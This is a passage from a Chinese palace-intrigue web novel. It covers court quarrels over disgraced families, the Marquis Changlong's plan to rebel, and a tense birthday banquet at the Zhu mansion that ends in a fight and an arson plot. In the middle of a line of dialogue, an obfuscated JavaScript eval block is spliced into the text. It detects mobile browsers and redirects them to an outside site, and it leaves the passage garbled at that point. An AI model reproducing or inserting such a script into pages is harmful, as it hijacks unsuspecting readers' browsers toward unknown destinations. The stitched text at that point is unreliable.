乐邑扯扯嘴角,嘲讽都带出来了:“我看难,她几个月不想出门倒有可能,她发现自己都有危机了哪还顾得上个表妹,真在意就接着管啊,回头任逍和任家怕都要骂她假惺惺了。任家还留着呢,就是不知道她是不是也要把任家轰走了。” 霍雄鹰进来灌碗凉茶,乐邑老神在在坐定:“芮尚书又闹什么幺蛾子了?” “不是芮老头,是佟梦奭,他作证佟梦骜在任淄州府尹期间私自征调百姓私挖铜矿。” 霍雄鹰都懒得看佟家的笑话了:“都败落了还窝里斗。” 这几天,佟家很乱,佟妙兮嫁给房祯毅的第五天,佟梦骜的家眷赶来,佟梦骜的长女佟婃兮被夫家以三年无出的理由给休了,佟梦骜还没做出应对,他的前亲家山西巡抚和现淄州府尹的奏疏送到,一同参他,在任期间私自征调百姓私挖铜矿。 今天更是,佟梦奭亲自作证。 晏煦之还在感叹是他心地善良,佟梦奭还真做得出来、要把亲弟弟弄死呀,宫中来人,霍贵妃请他,顿时一凛。抱着祈祷跟小太监走,霍贵妃千万有正事啊。 “生怨?” 晏煦之一讶,是没想过:“晏明妧可能会对我大伯和晏家生怨?” “英王的态度已经这么明白,她还不肯消停,几时能安生?”霍灵渠顾虑道:“你们烦不胜烦把她关在柴房里,她会否觉得父亲对她太狠?她巴巴盼着想享用娘家的富贵,若是她怎么都得不到,能不能被外人收买反对付晏家?” 晏煦之眼神闪烁,拱手谢过贵妃提点。 霍灵渠再递张纸片给他,晏煦之手抖下接过,真怕是给他哥的情书,一看,想遮眼睛,比情书还糟,冰丝凉席、寒玉把件,还有衣物、驱虫的香包,连零嘴糖果和皂荚花露都有。意思就是,让他按纸条上罗列的备好,给他哥送去。 “我闲着想起来,闲着就写了,我不是特意想的。”霍灵渠干笑:“但既然我写都写了,你就把这些备好给你哥送去吧。风和日丽时他出京办差都还有诸多不适要送好几封信回来,眼下酷热,他出去这趟指不定要瘦几斤,你也不忍心吧。” 晏煦之咬咬牙应了,告退,出门遇上皇帝,还好,霍贵妃有正事。 嬴忱璧问过贵妃传召他何事后放行,去看爱妃和皇儿,顺便在关雎宫歇个午觉。 没两刻钟,霍雄鹰赶来找陛下,芮尚书在皇极宫前闹着要撞墙。 显国公查处过郭太太的娘家和姐妹家,轮到芮家,芮尚书第一个感觉,险些没傻眼,他这回反应可比被夺爵时剧烈多了,小半月来几乎天天闹皇帝,刚刚,芮家两家亲戚被下狱,他再不能忍耐皇帝的不作为,就在皇极宫前撞墙了。 霍雄鹰得令,返回皇极宫前把芮老头打晕,送去太微宫找间地牢关着。 才过一个时辰,芮老太太又来闹事,霍雄鹰照样打晕关进牢房。芮家还上蹿下跳,陛下让他全权处置,霍雄鹰就把芮家十岁以上的全都送去让太上皇镇压着,派兵把芮家封起来,芮家的亲戚还有想闹事的全塞刑部,看看是刑部的牢房多还是他们人多! 把芮家及其亲友管束好,霍雄鹰去看芮老头。 “你就消停点吧,你再不消停,你可以到死都再也见不到太阳。” 说完,霍雄鹰以为这老头又要闹腾,没想到芮老头没闹,非但没闹,芮尚书出奇安静,阴渗渗盯着他,毛骨悚然的,霍雄鹰被盯得有点发毛,随便再训两句就走。 回家里,霍雄鹰就去找他爹。 “芮老头要走绝路了。”霍秦川淡淡笑:“之前被夺爵,他不痛不痒,这回这么大反应,还能为什么?是他就没把皇帝当回事儿,可这回,皇帝竟然不护着他,那么对他,与其留着个跟他唱反调的皇帝为什么不换个由他掌控的皇帝?” “啊?”霍雄鹰被惊讶了:“芮老头敢有那种想法,而且他比太上皇都要大好几岁的,他哪来的自信觉得他能比太上皇活得久?” “他会不自觉他至少要活个八十岁吗?”霍秦川看霍雄鹰傻得。 “这老头真是——”霍雄鹰被噎道:“我就不懂了,他扑腾个什么啊,做个富贵闲人,保管他荣华富贵享不尽,他不想闲着想管事,帮衬着陛下也行啊,偏偏非要想强压陛下,而且就他那点伎俩,没有陛下护着,早被吃干净了。” 霍秦川笑意莫测又似没多余意味只是笑:“没瞧郭太太都是么,何况芮尚书。” 霍雄鹰烦糟:“哦对,还有这老太婆,我真是看这些人够够得了。” “庄太妃伤愈不少也清醒了,又想了个主意,建议芮家和郭家联手,害死楚昭仪的两位皇子嫁祸给霍贵妃,但没有庄太妃的建议,芮尚书应该都要有这样的想法了,甚至于今年就会按耐不住,你回皇城记得禀告陛下。”霍秦川交代。 霍雄鹰都不想说芮老头和郭家了,就说庄太妃:“她这没完没了的折腾,她就不累吗,她就不能有一时半会儿是歇歇的吗?爹啊咱们把这老太婆宰了吧,我觉得我们去向圣人请个旨意能请到的,我真是被她这时不时炸出点事来烦透了。” 霍秦川答:“那就留着给你磨磨耐性吧。” 霍雄鹰内心:臭爹! 再赶回皇城求见陛下,霍雄鹰低着头禀告事情,嬴忱璧脸色淡淡,像没有涟漪的湖面,只吩咐霍家去向圣人请个旨意,明早,再带霍桑柔去趟小觉庵。 昌隆侯在六月十三回到福州,妻儿在府门前相迎,他把马鞭扔给小厮,大步往府里走,昌隆侯夫人随同,昌隆侯世子招待父亲带回来的这些客人。 一路来到老太太的院里,婢女进屋禀告过,哭天喊地的吵闹随即传出来,昌隆侯进屋,老娘闹着要悬梁自尽,柴姨娘带两个少奶奶和几个逃脱的柴家人又哭又劝又闹着一起死。老太太看见他,爆发出碾压骨头的恨和力气把侄女他们推开! “你还晓得回来呀,怎么不把你外祖家也带回来,你外祖家现在哪儿啊,娘告诉你,你要是不在立秋前把柴家救出来再给你表哥他们加官进爵,你等着给我收尸吧!” 昌隆侯淡漠地传死士,不必侯爷吩咐,死士们拎桶水进来,一边拿长绳绑柴姨娘他们,一边把老太太按进水里,老太太疯狂扑腾着,柴姨娘他们看得哆嗦打颤,昌隆侯警告生母:“你快过寿了,想过寿还是办丧事,自己看着办。” 此情此景若放以前,翟丽一定会很痛快,眼下,她什么感觉都没有。 丈夫离开,翟丽毫不停留地跟着走掉,一路跟他去书房,质问他:“是你亲手杀了女儿?” “我已经死三个女儿了。” “你不用跟我含糊其辞,你要安抚下面的人,拿什么安抚不行,非得用我女儿的命?”翟丽梗着脖子,痛得眼睛渗出血丝:“哪怕,你哪怕让女儿假死呢?!” 昌隆侯只道:“你若想去把女儿的骨骸接回来,我给你安排。” 翟丽握拳头冷静:“你什么意思,我们是不会再回京还是要老死在福建了?” 昌隆侯没说话,翟丽几乎要把牙龈咬碎了:“你真想要造反?” “我若称帝,你一定是皇后。”昌隆侯承诺。 “朱存焳!”翟丽猛地按住桌案,身体前倾,猩红的眼睛里压不住狂暴:“你图什么呀,我们都五十岁的人了,你还要拿九族去拼?你不放心蜀王,你弄死他还不够吗?” “明年秋后,我举事,凤位,就当是我送给夫人五十二岁的生辰礼了。”昌隆侯告知,翟丽霎时间像急剧胀裂的火气被摁灭,苦得都压过痛了:“什么自保、跟蜀王和姬家的仇都只是借口,根本就只是你的野心。可你想过没有,你能有多少胜算? 你能拿得到北境还是能拿得住南疆,连安西的军队,你都够不到了,你以为你训练的那几万人能顶用?连给朝廷塞牙缝都不够的!阿焳,咱们都五十岁的人了何苦呢,你退一步,我们安安稳稳过后半生不行吗?圣人不会让皇帝清算朱家的。” “安稳?你安稳多少年了,咱们就算活不到七十岁,再活个十几年,能吧?”昌隆侯从桌后走出来:“退一步,你以为我还能退吗?” 昌隆侯比三根手指:“三年,我跟你说,圣人快压不住皇帝了,三年内,皇帝一定能拿到大权奉养太上皇颐养天年。” “圣人保不住朱家了。”昌隆侯盯着她说:“三年内,我若不动手就是死路。” 翟丽承受不住般侧头避过丈夫的视线,她太懂自己的丈夫了,皇帝若清算朱家,绝不会以他死来保全家眷,只会拿全家乃至九族去拼,若败,家族给他陪葬。 二人的长子在屋外请示,翟丽沉重地离开书房。 “今天夜里,霍海啸和原牧烈就要封矿,皇帝从前线传回的两千铁骑在您离京当夜就也开拔南下了。孩儿没用,前天才收到消息。”昌隆侯世子朱芑适32岁,同母亲妹怎么死的,相比母亲的痛,朱芑适能理解,朱家当前有些牺牲在所难免。 “你岳家来人了?”昌隆侯问,朱芑适道:“嗯,我小舅子来的,要我们拦住。” “让他们封吧,府里的用度也降一降,降到和霍家一样。”昌隆侯叮嘱:“柴家从湘王手里逃脱那几个,霍海啸必会来带走,放行,只管扣住这几位大少爷。” 朱芑适应过再像笑话般告知父亲:“三弟四弟闹着想让晏霁之吃个瘪。” 昌隆侯有十个儿子,第三子、第四子和第七子都是柴姨娘所出。 “那天宫宴,晏霁之说縠艾短命嘛。”朱芑适补充,说完,自己都觉得借口烂得笑了:“就是他们憋着窝火想发泄,他们保证不会为难,就想让他小小的吃个瘪。” 昌隆侯交代:“若是反而自己丢人现眼,就别瞎折腾了。” 朱芑适保证转达给两位庶弟,自然不看好就他俩还能让晏霁之吃瘪。 谷王和薛述嘉跟做贼被抓住似的在朱家大宅外递上拜贴,昌隆侯请他们进府,甥舅俩硬着头皮往朱府深处走,薛述嘉腿肚子打转,就觉得这地儿像张着血盆大口。 见到昌隆侯,说话还不至于磕绊,主要是谷王说,薛述嘉干巴巴补点,昌隆侯和善道:“我家老太太快过寿了,谷王和嘉儿既然来了留下来喝杯酒水吧。” 能拒绝吗?谷王顶着自己都嫌苦的苦瓜脸道谢,薛述嘉心里咆哮,我不想喝,我想走,没憋出来只跟着小舅被扣下,再在心里喊,大哥快来呀…… 晏霁之的待遇暂时比他俩好得多,他进巡抚衙门,昌隆侯把动迁的四千户名单给他:“我也是前天刚回,这是芑适办的,世子若不放心,我陪你去走访看看。” “侯爷哪儿的话。”昌隆侯犯不着还在动迁名单上做文章,晏霁之确实没什么不放心:“这巡抚衙门七月就要搬迁了吧,南边这么大片地方,侯爷深沐皇恩啊。” “世子可寒碜我了,我一把老骨头,哪能及得上世子你前途不可限量啊。” “当不得您谬赞,能不给晏家丢脸就行了。”寒暄过,晏霁之告辞,昌隆侯还送了送,晏霁之行至府衙前,一个少年扑跪在台阶前求钦差救命。 “这里是巡抚衙门,小哥若有委屈,尽管击鼓鸣冤。”晏霁之提示,晏四把少年扶开,晏霁之大步往前,已经有路人驻足,少年蹿立起来,冲着这个钦差的背影,哀恸悲愤嘶喊:“大人有喜欢的人吗?听说大人喜欢的人也被抢走了。” 晏霁之止步,不少百姓围过来,晏霁之转身看向少年:“叫什么名字?” 晒得有些黑的少年一脸倔气:“阿贲,十八岁。” 晏霁之往人群扫视眼,瞥见萧耿裕和萧灼灼兄妹俩,抬手指指,阿贲看过去,萧耿裕带妹妹走出来,不满道:“你做钦差大老爷,指我们做什么?” “请你们兄妹陪这少年去找朱芑适帮他把事情解决了。”晏霁之道,萧耿裕被逗乐了:“凭什么?是你要越俎代庖多管闲事,与我们何干?” “凭你是太上皇的表外甥,路见不平,义不容辞,而我还有事。”晏霁之给戴戴高帽,萧灼灼反怼:“你不就是来确定个迁入塞北的名单,你名单不是都拿了,你还有什么事?”然后被呛:“我还要去找臧芣缄,你们在游玩,比我有空暇。” 萧灼灼郁闷地不说话了,萧耿裕恭维他:“你可真会使唤人。” 晏霁之谢过,让阿贲跟着萧家兄妹俩,他牵马出人群,策马而去。 萧耿裕让人过来跟他走吧,有女子拦住问疑惑:“你们都不问问什么事吗?” “能有什么事啊,喜欢的姑娘被地主乡绅抢了是吧?”萧耿裕问阿贲,阿贲拘束点头:“你真的是太上皇的表外甥是皇亲国戚,能帮我把人救出来吗?” “走吧走吧,一句话的事。”萧耿裕拿折扇指指,让这挡路的让开。 女子施礼抱歉退后,人家走远了,她还有些五味杂陈:一句话的事。 萧耿裕和萧灼灼带着阿贲找到朱芑适,就是一句话的事,朱芑适很给面子地亲自陪着,带阿贲找到他要搭救的姑娘,再送过萧家兄妹俩之后,去找父亲。 这两个庶弟的设计还是有点水准的,懂得用相似的情况绊住晏霁之,想把人引过去好给他点教训,就是见识太差,这倒也怨不得他们不懂,晏霁之怕都猜到谁下的套了,一个小老百姓居然能对他喊出:大人有喜欢的人吗? 没人点拨怎么可能。 晏霁之见过臧芣缄,去海崖边,又往崖下查探,晏诺和晏一晏四劝崖下危险都没拦住,另外两位祝寿的隔天赶到都是来崖边跟他碰面的。 “这里有什么特别吗?”薛述聪眼底乌青神情疲乏,还好大家都一样。 “你在京中看得到这样的风景吗?”晏霁之笑,薛述聪恭维:“你真有闲情。” “霍海啸和原牧烈人呢?”晏霁之语气变差,还有一丝丝谴责,薛述聪累得很好脾气:“还得晚几个时辰才能到。”他都随意了,关键时刻能到就行。 “我跟你们申明,他俩不到,我绝对不进昌隆侯府。”晏霁之表态,薛述聪没有笑话,因为:“我也是这个意思,哎走了回去歇歇吧,我现在只想一觉睡到明天早上,这一个多月忙得我累死累活,光赶路就能把人给折磨得脱层皮了。” 晏霁之非常赞成:“可不嘛,回去得让你大舅哥补偿我们。” 几人远去,炎炎烈日,火球一般炙烤,花草焦枯,唯崖下的海面还风平浪静。 而焦枯或许恰是眼下佟家的写照。 佟梦奭作证他弟弟犯死罪后才三天,新任滁州府尹对佟家和钟家的参本送进京,逃税、官商勾结、欺霸小商贾等等都还算小罪了,竟还有和契丹生意往来! 在滁州管生意的佟家人咬定他们是旁支没权做主,这些事都是佟图匡父子决定。 账目、往来信件,要多少证据他们都有,已定罪入狱的前滁州府尹被问及时也佐证了。 钟家人一同咬定他们都是跟随佟家行事,钟家年年都要给佟家送大笔财宝。 佟家和钟家,十六岁以上男子尽被抓捕受审。 女眷们,佟梦姿接连几天冲去晏家拍着英王府大门要见她大姐,三位佟太太各自求菩萨保佑不要连累她们娘家,佟妙兮以泪洗面,房祯毅没有置新婚娇妻于不顾,帮着佟家奔走,他爹娘是后悔了,若知佟家这么多烂摊子怎么也不能跟老爷子置这个气呀。 钟姨娘跟着去晏家找英王妃,晏家不让她进府,她心绞痛地捧着孕肚倒下来,狠狠心,退到英王府的石狮前,就拿她的孕肚去撞石狮,佟梦姿回头惊叫:“曼媛?!” 桓炜彤走出府来冷眼看着,吩咐:给钟姨娘搭个帐篷等晏明潜来。 佟梦姿霍然红眼瞪向她,犹如找到发泄口般冲过去,迎面被个老嬷嬷一巴掌扇倒在地,桓炜彤再传令,把这位送回佟家去,给她松松筋骨,让她歇息几天。 晏明潜夫妇在一个多时辰后赶过来,钟姨娘已昏过去、醒来、又昏过去,桓炜彤对他们这点伎俩看得明明白白的,也没多说什么就让他们把人接走,把晏明妧也带走。 所幸,钟姨娘的胎儿保住了,但她接下来直到生产都得卧床。 裴氏陪在榻前,心里嗤笑,自己撞得能出什么事。送过大夫,进屋见钟姨娘拉着晏明潜哭得梨花带雨,她注视许久都没自觉,懒得再看,裴氏回去自己屋里。 她屋里仍还有凉快,奴婢们又忙给大奶奶奉上冰碗解暑,裴氏让她们都撤下吧,他们哪还用得起这些,何况那个孕妇都还没有冰盆。心腹在大奶奶耳边嘀咕几字,裴氏眼神微闪,老妈妈劝:“大奶奶您真得想想了,王爷若是不管了?” 晏明潜还能有前程吗?她若错过这次,又还能再有机会吗? 裴氏看得懂,多年未见的人突然冒出来对她好想娶她没那么简单,还是薛驸马在报复,她不在意,只要她这位外祖家的邻居是真对她好,靠得住,能善待她的儿女。 枯坐半夜,清晨的曙光照进来,裴氏看这个家真是死气沉沉啊。 昌隆侯府朱家宾客盈门,络绎不绝的人顶着烈日来送礼恭贺太夫人大寿,奉命来祝寿的三位瞧过两眼再看彼此都只握把折扇,班少爷问:“有谁带贺礼了吗?” 晏霁之猜:“柴家人应该还没砍头吧?” 薛述聪讨论:“我们站位怎么站?” 晏霁之谦让:“你是驸马你在前。” 薛述聪不同意:“咱们领着差事来的,按朝堂上论,应该丞相家的少爷在前。” 班蕴堂眼观鼻鼻观心:“我是不是该说谁最出风头谁在前?” 晏霁之有见地的提议:“猜拳吧。” 同行的两位看他,晏霁之定道:“我提议猜拳,谁不同意谁站前。” 薛述聪率队向狼窝走去:“谁来振奋一下军心?” “传闻朱家的内宅很不安生。”班蕴堂回想朱家前院的布局。 “咱们三家算上霍家都比不得人家后宅热闹。”薛述聪想灌坛冰镇葡萄酒。 “昌隆侯真厉害,那么闹腾的后院都没影响到他。”晏霁之想带霍灵渠去避暑。 薛述聪差点想瞪他,让他振奋军心好吧。来到朱府大门前,薛述聪跟在迎客的朱芑适表惭愧,他们来得匆忙没有带贺礼,朱芑适爽朗笑,人来就好了要什么贺礼呀,大家寒暄过,朱芑适让小厮给贵客们引路,薛述聪还算有做兄长的担当地去找弟弟。 谷王和薛述嘉躲在屋里抱着冰黯然神伤,薛述聪找过来,薛述嘉热泪盈眶,看清楚他们就带十个护卫,又伤心了:“大哥你赤手空拳来呀?” “你胆子不是大嘛,一进朱家跟鹌鹑似的。”薛述聪没找到酒,灌两碗凉茶,晏霁之传小厮给他们送冰镇酸梅汤来,再数落薛述嘉:“为什么他们连酒都不给你送?” “你有点自觉好吧,你还当我们真是来做客啊?”薛述 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13459343|141656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘉呛过外人,再温和地对大哥:“这地儿恐怖啊,你们进来都没感觉么,我就觉得它像张着血盆大口好像要把我们给吞了,我就没见过这么阴森的宅子,我怀疑这里的风水肯定不对。” “换言之,你进朱家几天什么成果都没有?”晏霁之戳穿。 薛述嘉猛烈批判:“我们是被当人质看着好吧,你还想我们能有什么成果,我就不信,你若单枪匹马进来你能有什么成果,我们能保住没被他们占便宜就很不错了。” 薛述聪推把倒霉弟弟的脑门:“你还能被占什么便宜?”惹得薛述嘉不服又不满:“朱家要给我们安排丫鬟啊,肯定没安好心,当我们坚定拒绝很容易啊。” 酸梅汤送来,还是六少爷朱芗适亲自来表歉意,他们招待不周。 朱芗适和朱芑适一母同胞,是昌隆侯和翟丽的嫡幼子,比长兄小十岁,他跟薛述嘉其实很有交情,十几年前两人没少勾肩搭背,只是还是没抵过渐行渐远。 晏霁之跟朱六提要求,薛述聪也没落下,薛述嘉腹诽:年长几岁就是脸皮厚,突然被问他有没有什么想要的,薛述嘉沉默下跟着提要求,心说这可是他们问他的。 萧耿裕寻过来慰问慰问他们,薛述聪看见他愣下,拉过晏霁之去窗边问他为什么会在,晏霁之答:“我已经提醒过,人家不当回事,我肯定不会再多事。” “疯了啊!”薛述聪撇下晏霁之,疾步走过去把萧耿裕拽去屋外谈,朱芗适随后离开,晏霁之靠在美人榻里闭目养神,班蕴堂想想,他也小憩会儿吧。 下刻,薛述聪回屋来发火又把在休息的两人吵起来,或许是连日的疲惫让他容易暴躁:“我们劝还劝错了,一个个都觉得他们不长脑没眼睛连好坏真假都辨不出,他还来气了,非要证明给我们看是我们小人之心,我看他能证明出个什么玩意儿来。” 薛述嘉讶下恍悟:“大哥你是说宜春得折在朱家了?” “眼巴巴跑来朱家祝寿,还爹娘都能陪着来,我可真是被开眼界了。”薛述聪消消火,薛述嘉瞟向晏霁之,又挨老哥一脑门,薛述聪训他:“给你,你要?” “当然不要。”薛述嘉可利索了:“这种,我宁可选个村姑都不想沾。” “我倒觉得,萧家会愿意走这趟多半还是因为霁之兄。”班蕴堂揣摩,薛述聪气笑了:“你是说萧耿裕对朱家的意图不是没有思量,但晏霁之也在啊,他们自觉哪怕朱家用心险恶都能来个黄雀在后,反而给晏霁之和萧灼灼推波助澜?” 班蕴堂点头:“我怀疑,是。” 晏霁之置若罔闻,薛述聪也懒得再多言,大家各自小憩会儿。 得来两刻宁和,祝寿的三人抖擞精神佩剑,谷王和薛述嘉遂也去揣把匕首。 来到厅堂,很热闹,多数人已就坐,朱家摆六十六桌,他们被安排在主桌,谷王边上就是朱太夫人的位置,薛述嘉挨着谷王,另一边是他哥、晏霁之、班蕴堂。 薛述嘉环视圈没几个认识,越看越觉得冒着诡异。 主家入席,开宴,昌隆侯谢过众位赏脸来给他老母贺寿,应和溢美此起彼伏,朱太夫人这才舒服些。 萧灼灼忽然不得劲,昌隆侯三个女儿都还去世没多久呢。 薛述聪观察过发现:“那是翟猛快70岁的爹吧,围着我们的这几桌多是刚被封矿的那几家吧?” 晏霁之给三个字:“好像是。” 薛述聪忧伤:“所以乐邑说得好啊,我们真的不是来送人头的吗?” 薛述嘉闻言立时想捂脸,几个小厮将一座比人高的玉雕抬到主桌前,一彪形大汉站出来再祝太夫人大寿,这是他的贺礼。 薛述嘉他们有看看,人家恰也看向他们,从鼻子里嗤声:“看着人模狗样的,还真做得出来厚着脸皮来蹭吃蹭喝。” 就差被指名道姓的几位:“……” 朱芑适忙笑道:“真不知是谁泄露的,霁之,你们莫介怀。” 薛述嘉看他有种怎么不再假点,晏霁之还礼:“是我们不好意思。”转向朱老太太:“柴家人还没砍头,没法把柴家的人头给您送来,我们才两手空空,您见谅。” 昌隆侯和朱芑适很坦然,众多来客神情微妙,萧灼灼看他还真想把人老太太气死啊,几个逃脱的柴家人恨,朱太夫人瞪起眼睛简直不可思议,朱窅絜翻白眼,晏霁之跟薛述聪说:“该让你弟上场了,上个月宫宴,滕王还遗憾薛述嘉不在呢。” 薛述聪问什么情况,问明白后不乐观:“你看他心颤颤的,还能有这心情吗?”然后他就被踹脚,薛述聪只好自己登场:“老太太您若着急,我们这就飞鸽传书让刑部即刻砍头,保证把您娘家人最新鲜最热乎的头颅给您送来补做寿礼。” 谷王的苦瓜脸都要僵了,薛述嘉想把头埋起来。 班蕴堂挤出微笑:“不过太夫人放心,您若是不忍心娘家骨肉离散,我们会给您把柴家人火化了、给您送骨灰来,您的娘家人一个都不会少。” 来客们安静得像有片乌鸦飞过,好些人想,但愿他们的佩剑不是装饰。 祝寿的三人其实也不想这样,但他们奉命来祝寿。 “无耻之尤!” 伴随着刚送礼的彪形大汉的怒喝,一记铁锤落来,晏霁之抓着班蕴堂闪退,薛述聪带他弟撤离,菜肴碗碟翻飞落一地,附近几圈人全站起来后退,大汉舞着铁锤再向这帮人杀去,晏霁之踢起两把椅子扫向这大汉,引他去厅堂外。 众人追上,庭院四周廊下迅速聚满观众,昌隆侯负手站立在堂前正中位置,场上,一个又一个或抡锤或拿刀的魁梧大汉冲出来将晏霁之围困住,十二对一。 朱太夫人这才又舒服点,臧芣缄来到谷王这边,谷王见到他,有点想老泪纵横。萧灼灼心情怪怪的,既想看瘟神倒霉又毕竟是相识的不好看他真被欺负惨了。 班蕴堂要去帮忙被薛述聪拦住:“晏霁之应该应付得了。” “不是吧大哥,十二对一啊而且这些人每个都有他两个壮。”薛述嘉不懂大哥咋想的,薛述聪解释:“就是他们笨重,晏霁之身法轻盈,四两拨千斤,瞌睡遇枕头了。” 班蕴堂看眼昌隆侯,怀疑昌隆侯是想试晏霁之的身手,刚才那大汉看似随意转向,但,倘若那会儿晏霁之是站在薛驸马的位置,这大汉还是会转向晏霁之吧? 晏霁之迷人的桃花眼凛冽起来,杀伐气渐起,他未拔剑,厮杀袭来,晏霁之纵身跃起,猛烈的阳光下,剑气破热浪,大汉们扑个空,多数人只觉得一道刺目光影闪过,晏霁之已在合围圈外刺中一名打手,萧灼灼惊了,薛述嘉眨眨眼有些不可思议。 看客们就看见,这些个彪形大汉的重击在他面前呆板笨拙,乃至让人生出错觉他是不是用根丝带都能把这些大汉撂倒,他一人对战十二人竟还是压着他们打。 此前以为他佩剑是装饰的人们不得不相信这位贵公子是有真材实料的。 薛述嘉看向大哥,薛述聪不大爽老弟的质疑:“要不然,我们单枪匹马进来。” 薛述嘉没怨了,妈呀,若是他单枪匹马进来还真能有成果呀。 萧灼灼看着热闹拽她二哥好奇:“他不会以一敌百都行吧?” “打一百个不会武的,当然没问题,你不会这都不晓得吧?”萧耿裕担忧地看着妹妹,萧灼灼噎下反呛:“我作甚要知道?”又被怼:“那你四年都干什么去了?” 萧灼灼被憋得婉转:“那二哥你怎么会晓得他身手很好?” “大家平常会切磋呀。”萧耿裕言外之意,我都清楚,你居然不知道?萧灼灼无言以对想往娘身边缩,萧耿裕点点妹妹额头:“你这四年真是都干什么去了?” 萧灼灼苦逼地揉揉脑门,她还债啊,她被催债催得胆汁都快吐出来了。 场上,晏霁之收剑,横七竖八倒在地上的打手们只余一人抵两人身形的肥胖。 漫不经心再观看的萧灼灼怔住,这是,晏霁之,赢了? 当然赢了!薛述嘉振奋啊,谷王心回落,宾客们看向昌隆侯,昌隆侯缓缓抬手想鼓掌、朱太夫人气得要让长孙再派杀手之际,几个身影凌空抛来,昌隆侯看过去,众人随之而望,见有一人若踏风沙而来,是犁庭扫穴的金戈铁马,是稳定三军的大气磅礴。 是霍海啸。 薛述嘉安心了。 懂的人看,这就是京畿两大豪门、当朝顶尖的两位世家公子。 “有几个逃犯潜入朱家,侯爷?” “当然。”昌隆侯笑,霍海啸示意下,数名士兵冲进人群中精准抓走柴家的漏网之鱼,被抓捕的几人撕心裂肺冲朱太夫人喊姑母姑祖母救命,朱窅絜和两个同母哥哥握起拳头,朱太夫人目眦欲裂好像在被人拿刀割她的血肉:“住手!” 话落,没有效用。 嚣张惯了的老太太气血涌来,往前冲去,朱芑适看眼父亲,没做反应,翟丽笑了,当霍家还能给她脸吗? 众目睽睽下,霍海啸把妨碍公务的踢翻,朱太夫人趴在地砖上抽搐几下,一时间真的爬不起来,朱窅絜三兄弟看向父亲,宾客们也看昌隆侯。 昌隆侯神情淡淡没有言语。 “打搅侯爷了,告辞。” “世子慢走,本侯不送了。” “留步。”霍海啸率队离去,走了,走了?真走了?!薛述嘉神经大作,狂拽他大哥,他们不一起走吗?谷王又比黄连苦,薛述聪让他冷静,没看霍海啸只带十几人来,昌隆侯还很好说话,你当昌隆侯为什么那么好说话?他们一起走还能走得掉吗? “那我们怎么办呀?” 返回暂住的客舍,薛述嘉颓丧,薛述聪安慰倒霉弟弟:“霍海啸和原牧烈率两千铁骑驻扎在城外呢,昌隆侯没那么容易抓住他俩,放心吧。” “可我们还是瓮中鳖呀。”薛述嘉难过。 “昌隆侯的老娘打算今夜放火烧死我们。”薛述聪知会,薛述嘉跳起来:“什么?” “你放过我的耳朵吧。”晏霁之劝:“昌隆侯等着拿赎金呢不会让你死的。” “但是给我们个教训,他是不介意的。”班蕴堂补充。 “所以我们的计划是帮这老太太把火烧旺,我们趁乱出去。”薛述聪嘱咐道:“成败就在今晚一举了,若是失败了没能出去,我们就等着家长来交赎金吧。” 你们为什么都轻描淡写?薛述嘉真觉得危险啊:“大哥,没那么惨吧?” 薛述聪午睡去了不想再理他,晏霁之宽慰个养精蓄锐吧就也走了,班蕴堂安慰他不必太焦躁总归肯定能出去的,薛述嘉看看谷王,忧伤地去多囤点水。 入夜,亥时,朱家渐趋安静,数千里外的皇宫中,杭婕妤走进芷筠斋。 两个人密谈过,霍鹣娇恭维她:“你可真是个好生母。” 152. 第152章 夜风起,撩拨花草微醺,藏起夜空几缕星光。 朱家的客舍,入夜后又各自小憩过个把时辰的几人聚在庭前纳凉,班蕴堂道:“这院墙内外还有各间屋的外墙都已被涂满烛蜡和铜油、奴婢们也全都已经撤走了吧?” 薛述聪肯定:“这院里目前就15人,我们五个以及我们的十名护卫。” “他们也太猖狂了吧?!” 薛述嘉受不了:“我们可全都清醒着,我们可是在纳凉,他们还想把整个院子都烧起来把我们活活烧死在这小院里吗?” “符合人家的作风啊。”薛述聪淡淡道:“昌隆侯想给我们个教训,他老娘想把整个院子都烧成灰,管我们是不是清醒、是不是没在屋里,对她又没差。” 薛述嘉磨牙:“这么多老太太,还真是昌隆侯这个老娘最嚣张了吧?” “这还用说么。”薛述聪吃颗冰葡萄,班蕴堂想起来:“早几年,大家是不是还赌过这朱太夫人几时会把儿媳妇害死把她的侄女扶上位,几乎没人相信她做不出来。” “对啊。”薛述聪赞同:“若非昌隆侯夫人手腕够硬,早就坟头长草了。” “我听说昌隆侯今夜宿在那个柴姨娘那儿。”薛述嘉跑偏道:“这个柴姨娘有四十五岁还是四十六岁了吧,都四十多岁了,昌隆侯还那么宠吗?” “朱太夫人今天毕竟过寿又不大愉快,据说这柴姨娘自昌隆侯回府就一直想要献殷勤,昌隆侯一直没有理会,今夜大概当安抚生母了。”班蕴堂估测。 薛述嘉就说嘛:“对嘛,这才正常嘛。” “朱太夫人没能害死儿媳还是昌隆侯不同意吧。”晏霁之感受着夜风的凉意,说:“这位柴姨娘给昌隆侯生的两个女儿去世才几天,她就能急急邀宠,对亲骨肉尚且如此,对昌隆侯能有真心?何况扶正柴姨娘对昌隆侯能有何助益,全然没有。” 薛述聪再赞同:“有道理。” “哎,大哥,霍海啸和原牧烈知道朱家今夜要走水吗?”薛述嘉差点忘了这茬。 “当然知道。”薛述聪嗤笑:“你和小舅一进朱家,昌隆侯这老娘就打算好了,是她知道还有我们仨还没到才又多忍几天没在你们进朱府当夜就给你俩放火。” 啊啊!薛述嘉握拳抓狂,他好歹还是太上皇的外甥、陛下的表弟,老太婆真想造反啊,他就教这老太婆做人:“大哥我们在朱家有多少眼线?”得知十几个,薛述嘉怔了怔求证:“大哥你说的是单就我们家还是几家合计?” “当然是几家合计。”薛述聪倒杯酒给弟弟让他压压惊:“外人,一家埋十几个,朱家得有多少眼线?朱家的奴婢大半都是眼线了,可能吗?你当郭皇后宫里啊。” “可我们几家才十几个眼线……”薛述嘉喝杯冰镇过的酒也消不了火呀:“昌隆侯手下幕僚和死士那还真是绝对不会少的,我们就十几个眼线,能起作用吗?” “朱太夫人藏着上百桶铜油。”晏霁之告知。 